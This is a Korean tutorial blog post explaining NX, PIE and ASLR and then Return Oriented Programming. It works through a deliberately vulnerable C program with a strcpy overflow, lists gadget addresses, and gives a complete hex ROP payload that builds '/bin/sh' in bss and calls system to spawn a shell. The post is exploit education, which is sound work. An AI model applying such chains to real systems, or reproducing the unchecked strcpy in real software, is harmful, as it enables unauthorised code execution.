ROP 기초에 대한 지식이 부족하여 다시 공부하고 정리해서 올립니다~~
먼저 보호 기법에 대해서 알아보겠습니다.
NX(Non eXcutable) - 모든 주소에 쓰기 권한과 실행 권한을 동시에 주지 않는 보호기법입니다. 이로 인해서 코드 영역에는 쓰기를 할 수 없고 데이터 영역에는 실행할 수 없게 됩니다.
PIC(Position Independent Code) - 코드가 어디에 존재하든지 서로 상대주소만 같다면 잘 동작하도록 하는 방법입니다. 베이스 주소와 코드의 오프셋으로 이루어져 있습니다.
PIE(Position Independent Executable) - 위의 PIC를 바이너리에 적용 한 것입니다. 바이너리 내의 코드가 위 PIC처럼 베이스 주소와 상대 주소로 이루어지게 됩니다. 그리고 PIE가 걸려있지 않은 바이너리는 일반적인 실행 파일 타입으로 인식하지만 PIE가 걸리게 되면 라이브러리 타입(Shared Object Type)으로 인식하게 됩니다.
ASLR(Address Space Layout Randomization) - 스택, 힙, 라이브러리와 같은 메모리 주소를 위 PIC처럼 베이스 주소와 상대 주소로 구성하여 매핑 주소를 랜덤화 시키는 방법입니다. redhat 9.0부터 PaX팀이 개발한 패치가 적용되서 배포되었습니다.
다음은 ROP입니다. 먼저 ROP라는 기법이 왜 나왔는지를 설명하겠습니다. 위의 보호기법들을 보면 현재 대부분의 리눅스 바이너리에는 NX, ASLR과 같은 보호기법들이 많이 걸려있습니다. NX 때문에 쉘코드를 이용하는 방법은 안되고, ASLR로 인해 스택, 힙, 라이브러리 주소가 랜덤화 되기 때문에 전체적인 공격이 까다로워 졌습니다.
그렇다면 이제 우리는 이러한 보호기법들을 우회 해야 하는데요. 여기서 우회 한다는 의미는 현재 위의 보호기법들이 그 보호기법들이 제한하고 있는 사항들을 넘어서 제한하지 않는 곳을 찾아 공격하는 것을 우회한다고 합니다. 즉, 우리가 위의 NX, ASLR과 같은 보호 기법을 우회하기 위해 우리는 저 보호 기법들이 제한하지 않은 사항에 대해서 생각을 해 봐야 합니다.
ASLR부터 살펴 보겠습니다. 먼저 우리가 사용할 수 있는 메모리 구성 요소는 스택, 힙, 데이터, 코드 영역 입니다. 그런데 바이너리의 데이터와 코드 영역은 ASLR이 걸려있지 않습니다. 즉, 바이너리 영역과 코드 영역은 고정된 주소라는 것입니다. 우리는 이러한 영역을 이용할 수 있겠죠.
다음은 NX입니다. NX가 걸려있기 때문에 코드 영역은 쓰기 권한이 없고 실행 권한이 있습니다. 그리고 데이터 영역에는 실행권한은 없고 쓰기 권한만 있습니다. 따라서 우리가 임의적인 코드 실행(arbitrary code execution)을 할 때에는 코드 영역을 이용해야 합니다. 이렇게 우리가 이용해야 하는 코드 영역, 코드 조각들을 우리는 가젯(gadget) 이라고 부릅니다. 다음은 rop shell(ropshell.com)에 있는 한 바이너리 중 하나 입니다.
위에 존재하는 ret으로 끝나는 각각의 코드들이 가젯 입니다. 여기서 여러가지 가젯 중 빨간 네모박스를 먼저 보겠습니다. 우리는 eax, ebx, esi, edi 총 네 개의 레지스터를 제어한 후에 리턴을 합니다. 그런데 리턴을 하는 위치가 0x0806ffb4, 노란 네모박스의 위치로 리턴을 한다면 우리는 ebx, eax 모두 조작할 수 있는 상태에서 add [ebx + 0x535b04c4], eax; ret 명령을 하게 되면 임의적인 코드 쓰기(arbitrary code write)가 가능해 지는 것입니다. 위와 같이 임의적인 코드 실행, 코드 쓰기를 위해서는 코드 가젯을 이용하며 이는 모두 ret, 즉 리턴으로 이루어 지기 때문에 이 기법을 Return Oriented Programming이라고 부르게 되는 것입니다.
이제 ROP에 대한 간단한 예제를 보겠습니다.
1 2 3 4 5 6 7 8 9 10 11 | #include <stdio.h> void helper(void) { system("/usr/bin/id"); } int main(int argc, char *argv[]) { char buf[16]; strcpy(buf, argv[1]); puts(buf); } | cs |
이 pop; pop; ret 가젯 입니다. 우리는 edi나 ebp에 어떠한 값이 들어있든 strcpy나 system함수를 실행하는데에 지장을 주지 않습니다. 따라서 pop 두 번으로 스택에 있는 인자를 처리해 준 뒤 바로 그 다음 strcpy 주소로 리턴할 수 있게 되는거죠. pop을 몇 번 하는지는 그 함수가 몇 개의 인자를 사용하는지에 따라서 달라집니다. 이를 적용해서 최종 페이로드를 구상해 보면
strcpy : 0x08048330
system : 0x08048350
다음은 ppr 가젯 입니다. (objdump -d ./rop | grep ret -B2)
ppr : 0x804851e
이번에는 bss 주소입니다.
bss : 0x0804a028
마지막으로 "/bin/sh" 에 있는 글자들을 각각 한 글자씩 찾아보겠습니다.
'/'
'b'
'i'
'n'
's'
'h'
'\x00'
"/bin/sh"라는 문자열은 없지만 각각 한 글자씩은 바이너리 내부에 존재 합니다. 이제 각 글자들의 주소를 모아보겠습니다.
'/' : 0x8048154
'b' : 0x804826d
'i' : 0x804826c
'n' : 0x804824f
's' : 0x8048270
'h' : 0x8048390
'\x00' : 0x8048178
모든 가젯들의 주소를 구했습니다. 이제 페이로드에 맞게 주소값들을 연결해 주면 됩니다.
&strcpy ppr bss + 0 &'/' : \x30\x83\x04\x08\x1e\x85\x04\x08\x28\xa0\x04\x08\x54\x81\x04\x08
&strcpy ppr bss + 1 &'b' : \x30\x83\x04\x08\x1e\x85\x04\x08\x29\xa0\x04\x08\x6d\x82\x04\x08
&strcpy ppr bss + 1 &'i' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2a\xa0\x04\x08\x6c\x82\x04\x08
&strcpy ppr bss + 1 &'n' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2b\xa0\x04\x08\x4f\x82\x04\x08
&strcpy ppr bss + 1 &'/' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2c\xa0\x04\x08\x54\x81\x04\x08
&strcpy ppr bss + 1 &'s' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2d\xa0\x04\x08\x70\x82\x04\x08
&strcpy ppr bss + 1 &'h' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2e\xa0\x04\x08\x90\x83\x04\x08
&strcpy ppr bss + 1 &'\x00' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2f\xa0\x04\x08\x78\x81\x04\x08
&system AAAA bss : \x50\x83\x04\x08AAAA\x28\xa0\x04\x08
자 거의 다 됬습니다! 이제 이 페이로드를 한 줄로 이어 붙여서 "A"*20 개 넣어주고 그대로 붙여서 쭉 넣어주면 쉘이 따일거에요!
최종 페이로드 : \x30\x83\x04\x08\x1e\x85\x04\x08\x28\xa0\x04\x08\x54\x81\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x29\xa0\x04\x08\x6d\x82\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2a\xa0\x04\x08\x6c\x82\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2b\xa0\x04\x08\x4f\x82\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2c\xa0\x04\x08\x54\x81\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2d\xa0\x04\x08\x70\x82\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2e\xa0\x04\x08\x90\x83\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2f\xa0\x04\x08\x78\x81\x04\x08\x50\x83\x04\x08AAAA\x28\xa0\x04\x08
짠! 이렇게 쉘이 따였습니다!
위와 같은 공격 기법이 Return Oriented Programming 입니다. 감사합니다 :)
잘못된 점이나 수정 사항 있으면 댓글로 지적해주세요!